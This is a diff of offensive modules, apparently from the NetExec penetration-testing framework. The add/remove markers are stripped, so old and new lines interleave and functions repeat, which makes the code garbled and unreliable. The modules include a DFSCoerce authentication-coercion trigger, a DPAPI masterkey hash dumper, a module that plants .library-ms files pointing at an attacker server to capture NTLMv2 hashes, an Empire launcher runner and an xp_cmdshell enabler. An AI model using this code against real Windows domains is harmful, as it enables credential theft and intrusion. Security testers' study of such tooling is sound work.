self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.context = context
self.connection = connection
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][1][0][1][0]
)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception as e:
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
# Searching for the targets SID and their Security Descriptors
for target, search_filter in self.targets:
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
try:
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
continue
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
if self.action == "read":
self.read(principal_security_descriptor)
self.read(context)
if self.action == "backup":
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
# Main read funtion
# Prints the parsed DACL
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
def backup(self, context):
backup = {}
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
json.dump(backup, outfile)
self.context.log.highlight(f"DACL backed up to {filename}")
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
else:
try:
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, dacl):
def parse_dacl(self, context, dacl):
parsed_dacl = []
self.context.log.debug("Parsing DACL")
context.log.debug("Parsing DACL")
i = 0
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(ace)
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
@@ -382,7 +447,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, ace):
def parse_ace(self, context, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -397,7 +462,7 @@ class NXCModule:
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
@@ -424,9 +489,12 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else: # if the ACE is not an access allowed
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -435,18 +503,19 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, parsed_dacl):
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
self.context.log.debug("Printing parsed DACL")
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for i, parsed_ace in enumerate(parsed_dacl):
for parsed_ace in parsed_dacl:
print_ace = True
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -460,7 +529,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -468,7 +537,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -476,13 +545,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -490,17 +559,18 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight(f"ACE[{i}] info")
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
+125 -4
View File
@@ -1,11 +1,18 @@
from nxc.helpers.misc import CATEGORY
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -19,4 +26,118 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
-68
View File
@@ -1,68 +0,0 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
-38
View File
@@ -1,38 +0,0 @@
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
-91
View File
@@ -1,91 +0,0 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+3 -3
View File
@@ -1,6 +1,5 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,8 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
-71
View File
@@ -1,71 +0,0 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps FQDN and OS of all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item.get("dNSHostName")
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
-20
View File
@@ -1,20 +0,0 @@
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "efsr_spray"
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
def on_login(self, context: Context, connection):
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
+3 -3
View File
@@ -1,7 +1,6 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,8 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -33,7 +33,7 @@ class NXCModule:
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
-80
View File
@@ -1,80 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
